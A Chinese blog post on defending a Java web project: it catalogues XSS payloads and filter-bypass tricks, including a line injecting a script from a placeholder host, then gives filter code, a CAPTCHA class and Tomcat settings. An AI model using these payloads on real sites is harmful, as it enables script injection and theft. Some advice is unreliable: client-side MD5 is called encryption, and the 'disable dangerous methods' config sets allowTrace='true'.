web项目安全漏洞防御实战
LK最近在对已有项目进行安全漏洞防御,现在将一些心得分享出来和大家一起讨论.主要是从下面几个方面进行漏洞修复。
1. 跨站脚本攻击漏洞(xss)
2. 敏感数据未加密传输
3. 验证机制缺陷
4. Cookie中未设HttpOnly标识
5. 危险的HTTP方法未禁用
1.跨站脚本攻击漏洞(xss)
先来了解一下什么是xss
概念
xss又叫css(cross site scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。类型
1.存储型/持久型
存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
2.反射型/非持久型
反射型一般是带有恶意脚本参数的URL,是一次性的。
3.DOM型
基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。构造方法
1.利用html标记<>进行操作<script>alert(1);</script> <script>prompt(1)</script> <iframe src="javascript:alert(1)">
2.利用html标签属性
利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如:<img src="javascript:alert(1);"/> <table background="javascript:alert(1);"></table>
3.事件利用
可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性<input type="button" value="click me" "alert(1)" />
.4.利用css跨站
css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。<div style="background-image:url(javascript:alert(1))"></div> <style>body{background-image:url(javascript:alert(1));}//expression中可使用全角字符p{background-image:expression(alert(1));}<style>@import'javascript:alert('xss');'</style> </style>
5.规避过滤规则
可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如:<scRiPt>alert(1);</scrIPt> <scr<script>ipt>alert(1)</scr</script>ipt> <img src="javas cript:alert(1);"/>//语句必须完整,有分号或者标签对。 //可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码 <img src="javascrip#116:alert(1)" /> <a href="#javascript:alert('xss')">xss</a> //拆分,可绕过长度限制 <script>z='document.'</script> <script>z=+'write'("'</script> <script>z=z+'<script'</script>
6.DOM方法利用
var s=document.createElement("script"); s.src="http://xxx/xxx.js"; document.getElementsByTagName("head")[0].appendChild(s);
7.location方法利用
利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。<input type="button" value="click me" name=javascript:alert%281%29" location=this.name /> <img src="1" location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
防御
1前端检验前端页面引入检测脚本------------httphijack1.1.0.js这是git上前端大神写的对其进行了小小的修改,与h5和node相关的部分暂且不用
他主要检测了以下几方面攻击
1)所有内联事件执行的代码
2)href 属性 javascript: 内嵌的代码
3)静态脚本文件内容
4)动态添加的脚本文件内容
5)document-write添加的内容
6)iframe嵌套
具体脚本如下:'use strict'; (function(window) {var httphijack = function() {},inlineEventMap = {}, //内联事件扫描记录inlineEventId = 0, //内联事件扫描IDscanInlineElement = false; //是否需要扫描内联事件// 安全域,白名单 var safeList = [/([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //*.yy.com/((https|http):\/\/)+([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //http开头/([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(:[0-9]{1,4})+(\.)+[A-Za-z]{2,14}/i, //帶端口的請求/[a-zA-Z0-9]\:\/\/[a-zA-Z0-9_/]*/i //手机相关 ];// 危险域,黑名单 // var dangerList = [];// 过滤class关键词 var filterClassName = ['BAIDU_DUP_wrapper', //百度推广'BAIDU_DSPUI_FLOWBAR' ];// 过滤name关键词 var filterProName = ['text','#text','IFRAME','SCRIPT','IMG' ];// 过滤id关键词 var filterNodeId = ['1qa2ws' ];var inlineEventList = ['alert','location' ]; // reset console if (!console) {window.console = {log: function() {return true;}}; }/*** 统计上报函数* @param {[type]} url 拦截脚本地址* @param {[type]} className 拦截插入元素className* @param {[type]} eName 内联事件名称* @param {[type]} fUrl ifrmae乔套url*/ function hiidoStat(url, className, eName, fUrl) {var hiidoParam = {'eventid': 10010793,'bak1': url,'bak2': className,'bak3': eName,'parm1': fUrl};if( url!="" || url!=null ){console.log("拦截脚本地址"+url)}if( url!="" || url!=null ){console.log("拦截插入元素"+className)}if( url!="" || url!=null ){console.log("内联事件名称"+eName)}if( url!="" || url!=null ){console.log("frmae乔套url"+fUrl)}// h5Report(url, className, eName, fUrl);window.on_security_interdiction && window.on_security_interdiction.call(window, hiidoParam); }/*** h5性能检测统计* @param {[type]} url 拦截脚本地址* @param {[type]} className 拦截插入元素className* @param {[type]} eName 内联事件名称* @param {[type]} iframeUrl ifrmae乔套url*/ // function h5Report(url, className, eName, iframeUrl) { // var databody = {}, // queryStr = ''; // // databody.url = url ? url : ''; // databody.classname = className ? className : ''; // databody.name = eName ? eName : ''; // databody.iframeurl = iframeUrl ? iframeUrl : ''; // databody.pathname = window.location.pathname; // databody.hostname = window.location.hostname; // databody.ua = navigator.userAgent; // // for (var n in databody) { // if (databody[n] !== '') { // queryStr += n + '=' + databody[n] + '&'; // } // } // // (new Image).src = 'http://h5.yy.com/hostage/report?' + queryStr; // }/*** 过滤指定关键字* @param {[Array]} 过滤词库 * @param {[String]} value [需要验证的字符串]* @return {[Boolean]} [false -- 验证不通过,true -- 验证通过]*/function filter(list, value) {if (list === safeList) {if (typeof(value) === 'undefined' || value === '') {return true;}} else {if (typeof(value) === 'undefined' || value === '') {return false;}}var length = list.length,i = 0;for (; i < length; i++) {// 建立黑名单正则var reg = new RegExp(list[i]);// 存在黑名单中,拦截if (reg.test(value.replace('https://', '').replace('http://', ''))) {return true;}}return false;}// 内联事件劫持 function inlineEventFilter() {var i = 0,obj = null;for (obj in document) {if (/^on./.test(obj)) {interceptionInlineEvent(obj, i++);}} }/*** 内联事件拦截* @param {[String]} eventName [内联事件名]* @param {[Number]} eventID [内联事件id]* @return {[type]} [description]*/ function interceptionInlineEvent(eventName, eventID) {var isClick = (eventName === 'onclick');document.addEventListener(eventName.substr(2), function(e) {scanElement(e.target, isClick, eventName, eventID);}, true); }/*** 扫描元素是否存在内联事件* @param {[DOM]} elem [DOM元素]* @param {[Boolean]} isClick [是否是内联点击事件]* @param {[String]} eventName [内联 on* 事件名]* @param {[Number]} eventID [给每个内联 on* 事件一个id]*/ function scanElement(elem, isClick, eventName, eventID) {var flag = elem.isScan,code = '', // 扫描内联代码hash = 0;// 跳过已扫描的事件if (!flag) {flag = elem.isScan = ++inlineEventId;}hash = (flag << 8) | eventID;if (hash in inlineEventMap) {return;}inlineEventMap[hash] = true;// 非元素节点if (elem.nodeType !== Node.ELEMENT_NODE) {return;}//扫描包括 a iframe img video div 等所有可以写内联事件的元素if (elem[eventName]) {code = elem.getAttribute(eventName);if (code && filter(inlineEventList, code)) {// 注销事件elem[eventName] = null;hiidoStat('', '', code, '');console.log('拦截可疑内联事件:' + code);}}// 扫描 <a href="javascript:"> 的脚本if (isClick && elem.tagName === 'A' && elem.protocol === 'javascript:') {code = elem.href.substr(11);if (filter(inlineEventList, code)) {// 注销代码elem.href = 'javascript:void(0)';hiidoStat('', '', code, '');console.log('拦截可疑事件:' + code);}}// 递归扫描上级元素scanElement(elem.parentNode); }/*** 主动防御 MutationEvent* 使用 MutationObserver 进行静态插入脚本的拦截* @return {[type]} [description]*/ // function interceptionStaticScript() { // var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; // // 该构造函数用来实例化一个新的 Mutation 观察者对象 Mutation 观察者对象能监听在某个范围内的 DOM 树变化 // if (!MutationObserver) return; // var observer = new MutationObserver(function(mutations) { // mutations.forEach(function(mutation) { // var nodes = mutation.addedNodes; // // // 逐个遍历 // for (var i = 0; i < nodes.length; i++) { // var node = nodes[i]; // // 扫描 script 与 iframe // if (node.tagName === 'SCRIPT' || node.tagName === 'IFRAME') { // // 拦截到可疑iframe // if (node.tagName === 'IFRAME' && node.src && !filter(safeList, node.src)) { // node.parentNode && node.parentNode.removeChild(node); // hiidoStat('', 'insertIFRMAETag', '', node.src); // // console.log('拦截到可疑iframe', node.src); // // } else if (node.src) { // // 只放行白名单 // if (!filter(safeList, node.src)) { // node.parentNode && node.parentNode.removeChild(node); // hiidoStat(node.src, 'insertScriptTag', '', ''); // // console.log('拦截可疑静态脚本:', node.src); // } // } // } // } // }); // }); // // // 传入目标节点和观察选项 // // 如果 target 为 document 或者 document.documentElement // // 则当前文档中所有的节点添加与删除操作都会被观察到d // observer.observe(document, { // subtree: true, // childList: true // }); // }/*** 使用 DOMNodeInserted 进行动态脚本拦截监* 此处无法拦截,只能监测* @return {[type]} [description]*/ function interceptionDynamicScript() {document.addEventListener('DOMNodeInserted', function(e) {var node = e.target;if (!filter(safeList, node.src) || filter(filterClassName, node.className) || filter(filterProName, node.name) || filter(filterNodeId, node.id)) {node.parentNode.removeChild(node);hiidoStat(node.src ? node.src : '', node.className ? node.className : '', node.name ? node.name : '', '');console.log('拦截可以创建节点:'+ node.nodeName + ',id为:'+(node.id?node.id:''));}}, true); }/*** 重写单个 window 窗口的 document.write 属性* @param {[BOM]} window [浏览器window对象]* @return {[type]} [description]*/ function resetDocumentWrite(window) {var overWrite = window.document.write;window.document.write = function(string) {if (filter(filterClassName, string) || filter(filterProName, string) || filter(filterNodeId, string)) {hiidoStat('', string, '', '');// console.log('拦截可疑模块:', string);return;}overWrite.apply(document, arguments);}; }/*** 重写单个 window 窗口的 setAttribute 属性* @param {[BOM]} window [浏览器window对象]* @return {[type]} [description]*/ function resetSetAttribute(window) {var overWrite = window.Element.prototype.setAttribute;window.Element.prototype.setAttribute = function(name, value) {if (this.tagName === 'SCRIPT' && /^src$/i.test(name)) {if (!filter(safeList, value)) {hiidoStat(value, '', '', '');// console.log('拦截可疑模块:', value);return;}}overWrite.apply(this, arguments);}; }/*** 使用 MutationObserver 对生成的 iframe 页面进行监控,* 防止调用内部原生 setAttribute 及 document.write* @return {[type]} [description]*/ function defenseIframe() {// 先保护当前页面installHook(window); }/*** 实现单个 window 窗口的 setAttribute保护* @param {[BOM]} window [浏览器window对象]* @return {[type]} [description]*/ function installHook(window) {resetSetAttribute(window);resetDocumentWrite(window);// MutationObserver 的不同兼容性写法var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;if (!MutationObserver) return;var observer = new MutationObserver(function(mutations) {mutations.forEach(function(mutation) {var nodes = mutation.addedNodes;for (var i = 0; i < nodes.length; i++) {var node = nodes[i];// 给生成的 iframe 里环境也装上重写的钩子if (node.tagName === 'IFRAME') {node.contentWindow && installHook(node.contentWindow);}}});});observer.observe(document, {subtree: true,childList: true}); }/*** 使用 Object.defineProperty,锁住call和apply,使之无法被重写* @return {[type]} [description]*/ function lockCallAndApply() {// 锁住 calltry {Object.defineProperty(Function.prototype, 'call', {value: Function.prototype.call,// 当且仅当仅当该属性的 writable 为 true 时,该属性才能被赋值运算符改变writable: false,// 当且仅当该属性的 configurable 为 true 时,该属性才能够被改变,也能够被删除configurable: false,enumerable: true});// 锁住 applyObject.defineProperty(Function.prototype, 'apply', {value: Function.prototype.apply,writable: false,configurable: false,enumerable: true});} catch (e) {console && console.log(e);}} /*** 操作cookie的方法*/ var s__cookie = {set: function(key, val) {var date = new Date();date.setTime(date.getTime() + 60 * 1000); //格式化为cookie识别的时间document.cookie = key + '=' + val + ';expires=' + date.toGMTString(); //设置cookie},get: function(key) {var getCookie = document.cookie.replace(/[ ]/g, '');var arrCookie = getCookie.split(';');var tips;for (var i = 0; i < arrCookie.length; i++) {var arr = arrCookie[i].split('=');if (key == arr[0]) {tips = arr[1];break;}}return tips;} }; /*** 重定向iframe url(页面被iframe包裹)*/ function redirectionIframeSrc() {var flag = 'type';if (self !== top) {var parentUrl = document.referrer,length = safeList.length,i = 0;for (; i < length; i++) {// 建立白名单正则var reg = new RegExp(safeList[i], 'i');// 存在白名单中,放行if (reg.test(parentUrl)) {return;}}var url = location.href;var parts = url.split('#');if (location.search) {parts[0] += '&' + flag + '=3';} else {parts[0] += '?' + flag + '=3';}try {if (!s__cookie.get('HtpLocTmp')) {top.location.href = parts.join('#');// cookie记录这次跳转的时间点s__cookie.set('HtpLocTmp', '1');}hiidoStat('', '', '', parentUrl);// console.log('页面被嵌入iframe中:', parentUrl);} catch (e) {hiidoStat('', '', '', parentUrl);// console.log('页面被嵌入iframe中, 重定向失败');}} }// 初始化方法 httphijack.init = function() {interceptionDynamicScript();scanInlineElement && inlineEventFilter();// interceptionStaticScript();lockCallAndApply();defenseIframe();redirectionIframeSrc(); };if (typeof define === 'function' && define.amd) {define('httphijack', [], function() {return httphijack;}); } else {window.httphijack = httphijack; }// 不支持 IE8- if (navigator.appName == 'Microsoft Internet Explorer' && (navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE6.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE7.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE8.0')) {return; } else {if (!(/localhost/i).test(location.host) || (navigator.appName === 'Microsoft Internet Explorer' && (navigator.appVersion.match(/7./i) !== '7.' || navigator.appVersion.match(/8./i) !== '8.'))) {httphijack.init();} } })(window);
有兴趣的话可以在git上搜里面有详细的功能介绍
2.后端过滤
xss防御的重点是后段,因为前端能做的真的很少
后段我是采用过滤器实现的- 添加xss过滤器
/*** 处理xss攻击* @author yrz**/ public class RequestFilter extends OncePerRequestFilter{@Overrideprotected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)throws ServletException, IOException {// 将request通过自定义的装饰类进行装饰XssRequestWrapper xssRequest = new XssRequestWrapper((HttpServletRequest) request); filterChain.doFilter(xssRequest, response);}}
- reqeust包装类,重写getParameter()等方法,这里面对参数的转义和替换,根据实际需求更改
package com.sinosoft.filter;import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.regex.Pattern;import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper;public class XssRequestWrapper extends HttpServletRequestWrapper{private HttpServletRequest request;public XssRequestWrapper(HttpServletRequest request) {super(request);this.request = request;}/*** 重写getParameter方法*/@Overridepublic String getParameter(String name) {String value = super.getParameter(name);if (value == null) {return null;}value = format(value);return value;}/*** 重写getParameterMap*/@Override@SuppressWarnings("unchecked")public Map<String, String[]> getParameterMap() {HashMap<String, String[]> paramMap = (HashMap<String, String[]>) super.getParameterMap();paramMap = (HashMap<String, String[]>) paramMap.clone();for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext(); ) {Map.Entry<String, String[]> entry = (Map.Entry<String, String[]>) iterator.next();String [] values = entry.getValue();for (int i = 0; i < values.length; i++) {if(values[i] instanceof String){values[i] = format(values[i]);}}entry.setValue(values);}return paramMap;}/*** 重写getParameterValues*/@Overridepublic String[] getParameterValues(String name) {String[] values = super.getParameterValues(name); int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = format(values[i]); } return encodedValues; }/*** 重写getHeader*/@Overridepublic String getHeader(String name) {// TODO Auto-generated method stubreturn format(super.getHeader(name));}public String filter(String message) {if (message == null)return (null);message = format(message);return message;}/*** @desc 统一处理特殊字符的方法,替换掉sql和js的特殊字符* @param name 要替换的字符*/private String format(String name) {return xssEncode(name);}/** * 将容易引起xss & sql漏洞的半角字符直接替换成全角字符 * * @param s * @return */ private static String xssEncode(String s) { if (s == null || s.isEmpty()) { return s; }else{ s = stripXSSAndSql(s); } StringBuilder sb = new StringBuilder(s.length() + 16); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); switch (c) { case '>': sb.append(">");// 转义大于号break; case '<': sb.append("<");// 转义小于号break; // case '\'': // sb.append("'");// 转义单引号 // break; // case '\"': // sb.append(""");// 转义双引号 // break; // case '&': // sb.append("&");// 转义& // break; // case '#': // sb.append("#");// 转义# // break;default: sb.append(c); break; } } return sb.toString(); } /** * * 防止xss跨脚本攻击(替换,根据实际情况调整) */ public static String stripXSSAndSql(String value) { if (value != null) { // NOTE: It's highly recommended to use the ESAPI library and// uncomment the following line to// avoid encoded attacks. // value = ESAPI.encoder().canonicalize(value);// Avoid null characters/** value = value.replaceAll("", "");***/ // Avoid anything between script tagsPattern scriptPattern = Pattern.compile("<[\r\n| | ]*script[\r\n| | ]*>(.*?)</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Avoid anything in a src="http://www.yihaomen.com/article/java/..." type of e-xpressionscriptPattern = Pattern.compile("src[\r\n| | ]*=[\r\n| | ]*[\\\"|\\\'](.*?)[\\\"|\\\']", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Remove any lonesome </script> tagscriptPattern = Pattern.compile("</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Remove any lonesome <script ...> tagscriptPattern = Pattern.compile("<[\r\n| | ]*script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid eval(...) expressionsscriptPattern = Pattern.compile("eval\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid e-xpression(...) expressionsscriptPattern = Pattern.compile("e-xpression\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid javascript:... expressionsscriptPattern = Pattern.compile("javascript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Avoid vbscript:... expressionsscriptPattern = Pattern.compile("vbscript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll(""); // Avoid expressionsscriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); } return value; } }
- xss注入过滤器
<filter><filter-name>xssRequestFilter</filter-name><filter-class>com.sinosoft.filter.RequestFilter</filter-class> </filter> <filter-mapping><filter-name>xssRequestFilter</filter-name><url-pattern>/*</url-pattern> </filter-mapping>
到此整个xss监测和防御就告一段落了,当然还可以使用csp内容安全策略,有兴趣大家可以研究研究,毕竟不是专业的前端。
2. 敏感数据未加密传输
问题
口令的传输未采用加密传输的机制
解决思路
启用信道加密以及身份识别技术,https协议,并且在前台做数据加密。
具体实现:1.用户密码在前台进行md5加密。2.新增和修改用户时,用户密码进行2次加密。
https实现请观看这篇博客 https://www.cnblogs.com/moon521/p/5948058.html
3.验证机制缺陷
这块主要添加高强度验证码
- html
<label class="block clearfix"><span class="block input-icon input-icon-right"><input id="checks"style="width:100px;" name="checks" class="form-control" placeholder="请输入验证码" type="password" value=""/><img id="imgVerify"style="float: left;margin-left: 130px;margin-top: -28px;" src="" alt="点击更换验证码" /><a href=""style="float: right;margin-top: -28px;margin-right: 80px;" onclick="getVerify()" rel="nofollow">看不清,换一张</a></span></label>
- js
$(document.body).ready(function () {//首次获取验证码$("#imgVerify").attr("src","${ctx}/getVerify?"+Math.random());});//点击“看不清楚”获取验证码function getVerify(){var src1=document.getElementById('imgVerify')src1.src = "${ctx}/getVerify?"+Math.random();}
-验证码生成类
public class RandomValidateCode {public static final String RANDOMCODEKEY= "RANDOMVALIDATECODEKEY";//放到session中的key//private String randString = "0123456789";//随机产生只有数字的字符串 private Stringprivate String randString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生只有字母的字符串//private String randString = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生数字与字母组合的字符串private int width = 95;// 图片宽private int height = 25;// 图片高private int lineSize = 40;// 干扰线数量private int stringNum = 4;// 随机产生字符数量private Random random = new Random();/** 获得字体*/private Font getFont() {return new Font("Fixedsys", Font.CENTER_BASELINE, 18);}/** 获得颜色*/private Color getRandColor(int fc, int bc) {if (fc > 255)fc = 255;if (bc > 255)bc = 255;int r = fc + random.nextInt(bc - fc - 16);int g = fc + random.nextInt(bc - fc - 14);int b = fc + random.nextInt(bc - fc - 18);return new Color(r, g, b);}/*** 生成随机图片*/public void getRandcode(HttpServletRequest request, HttpServletResponse response) {HttpSession session = request.getSession();// BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作g.fillRect(0, 0, width, height);g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18));g.setColor(getRandColor(110, 133));// 绘制干扰线for (int i = 0; i <= lineSize; i++) {drowLine(g);}// 绘制随机字符String randomString = "";for (int i = 1; i <= stringNum; i++) {randomString = drowString(g, randomString, i);}//将生成的随机字符串保存到session中,而jsp界面通过session.getAttribute("RANDOMCODEKEY"),//获得生成的验证码,然后跟用户输入的进行比较session.removeAttribute(RANDOMCODEKEY);session.setAttribute(RANDOMCODEKEY, randomString);g.dispose();try {// 将内存中的图片通过流动形式输出到客户端ImageIO.write(image, "JPEG", response.getOutputStream());} catch (Exception e) {e.printStackTrace();}}/** 绘制字符串*/private String drowString(Graphics g, String randomString, int i) {g.setFont(getFont());g.setColor(new Color(random.nextInt(101), random.nextInt(111), random.nextInt(121)));String rand = String.valueOf(getRandomString(random.nextInt(randString.length())));randomString += rand;g.translate(random.nextInt(3), random.nextInt(3));g.drawString(rand, 13 * i, 16);return randomString;}/** 绘制干扰线*/private void drowLine(Graphics g) {int x = random.nextInt(width);int y = random.nextInt(height);int xl = random.nextInt(13);int yl = random.nextInt(15);g.drawLine(x, y, x + xl, y + yl);}/** 获取随机的字符*/public String getRandomString(int num) {return String.valueOf(randString.charAt(num));}
}
- 后台生成验证码
@RequestMapping(method = RequestMethod.GET, value = "/getVerify")public void getVerify(HttpServletRequest request, HttpServletResponse response){response.setContentType("image/jpeg");//设置相应类型,告诉浏览器输出的内容为图片response.setHeader("Pragma", "No-cache");//设置响应头信息,告诉浏览器不要缓存此内容response.setHeader("Cache-Control", "no-cache");response.setDateHeader("Expire", 0);RandomValidateCode randomValidateCode = new RandomValidateCode();try {randomValidateCode.getRandcode(request, response);//输出验证码图片方法} catch (Exception e) {e.printStackTrace();}}
- 验证码校验
String checks = request.getParameter("checks").trim().toLowerCase();HttpSession session = request.getSession();String verify = (String) session.getAttribute("RANDOMVALIDATECODEKEY");String verityNew = verify.toLowerCase();//将session中的验证码记录和用户提交的值进行比较//一致移除session记录,错误抛出异常if (!checks.equals(verityNew)) {throw new AuthenticationServiceException("VerityException");} else {session.removeAttribute("RANDOMVALIDATECODEKEY");}
4. Cookie中未设HttpOnly标识
tomcat context.xml文件中配置<Context useHttpOnly="true">
5.危险的HTTP方法未禁用
tomcat server.xml文件中配置
<Connector connectionTimeout="20000" port="8080" protocol="HTTP/1.1" redirectPort="8443" allowTrace="true"/>
至此整个安全漏洞防御告一段落,当然还有好多问题,大家有什么问题可以在下面留言。
希望今天的自己比昨天更加进步。
web项目安全漏洞防御实战相关推荐
- web项目答辩总结_web实战项目遇到问题总结探索
最近在写一个django的web项目,后端代码基本都已经写好了,主要是前端,以前学过一段前端,只是对一些基本的方法知道,但还有很多东西不熟练,问题是在遇到表单数据时候,如何对参数整体打包发送后端接口, ...
- 测试开发必备技能:Web安全测试漏洞靶场实战
关注上方"测试开发技术",选择星标, 干货技术,第一时间送达! 安全在互联网行业,是一个对专业性较强,且敏感的一个领域,所谓"一念成佛,一念入魔",安全技术利用 ...
- 如何在IDEA中创建web项目并且部署到Tomcat中
如何在IDEA中创建web项目并且部署到Tomcat中 步骤1:File->New Project, 步骤2:选择Project SDK为1.7 -> Next -> Finish( ...
- 文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞
文章目录 文件上传漏洞 漏洞概述 漏洞成因 漏洞危害 WebShell 大马 小马 GetShell 漏洞利用的条件 PUT方法上传文件 漏洞的防御.绕过和利用 黑白名单策略 安装upload-lab ...
- python构建知识库_手把手教导实战Python Web项目
手把手教导实战Python Web项目 一.前言 Django是一个开放源代码的Web应用框架,由Python写成.采用了MVC的框架模式,即模型M,视图V和控制器C.Django的主要目的是简便.快 ...
- 创建以mybatis为基础的web项目(2)mabitis中的一对一关系项目实战
mabitis中的一对一关系项目实战: 1.首先根据创建以mybatis为基础的web项目(1)中的流程将web项目部署好 打开IDE,建立web工程 在lib下面粘贴mybatis的jar,log4 ...
- java web项目请求控制及简单漏洞防范
背景:当时项目没用什么框架,过滤器,请求限制等都需要自己手写. 1.请求加时间戳 在后台过滤器中可以加判断,如果请求时间戳与服务器时间相差太大,可以返回异常,具体情况可以具体使用. 请求中加时间戳的示 ...
- Java Web 项目SSO实战二之(win7 and Windows server 2008)
JCIFS 的问题 Java Web 项目SSO实战 在上一篇中, 介绍了使用 jcifs 来进行域验证. 但是在Win7 或是windows server 2008 下, 验证却不成功, 会出现 ...
- 【安全】Java(web)项目安全漏洞及解决方式【面试+工作】
文章目录 问题 一.安全性问题层次关系 二.安全性问题的本质 三.安全漏洞及处理方式 1.SQL注入攻击 2.XSS跨站脚本攻击 3.CSRF跨站请求伪造漏洞防护 4.URL链接注入漏洞防护 5.会话 ...
最新文章
- 【图像分类】 图像分类中的对抗攻击是怎么回事?
- JavaScript学习笔记07【6个经典案例——电灯开关、轮播图、自动跳转首页、动态表格、表格全选、表单验证】
- 测试计算机操作基础知识,计算机病毒基础知识测试
- linux crontab不运行,Linux运维知识之解决Linux中crontab不执行ntpdate问题
- 【转】QT中添加的资源文件qrc时的路径问题小结
- 转https_免费!这个PPT转PDF的方法不学可惜!
- 谷歌cloud_通过使用Google Cloud ML大规模提供机器学习模型,我们学到了什么
- 99岁杨振宁寄语青年学子:要清楚方向、选对方向
- cdh-5.10.0搭建安装
- 电脑出现 flash update failed 解决方法
- python3爬虫 - cookie登录实战
- [2018.07.26 T2] 背包问题
- 真人qq秀代码_波士顿动力Spot买家秀
- 如何提高matlab的运算速度慢,如何提高 matlab 计算速度 运算效率
- 小牛电动车能跑多快、多远?一起来了解一下
- 大话西游手游服务器维护要多久,大话西游手游7月22日维护及解读
- 湖南省中职计算机应用教资面试流程?
- ansible set_fact模块
- PaaS平台为什么越来越受欢迎?
- 快速排序_查找第k小元素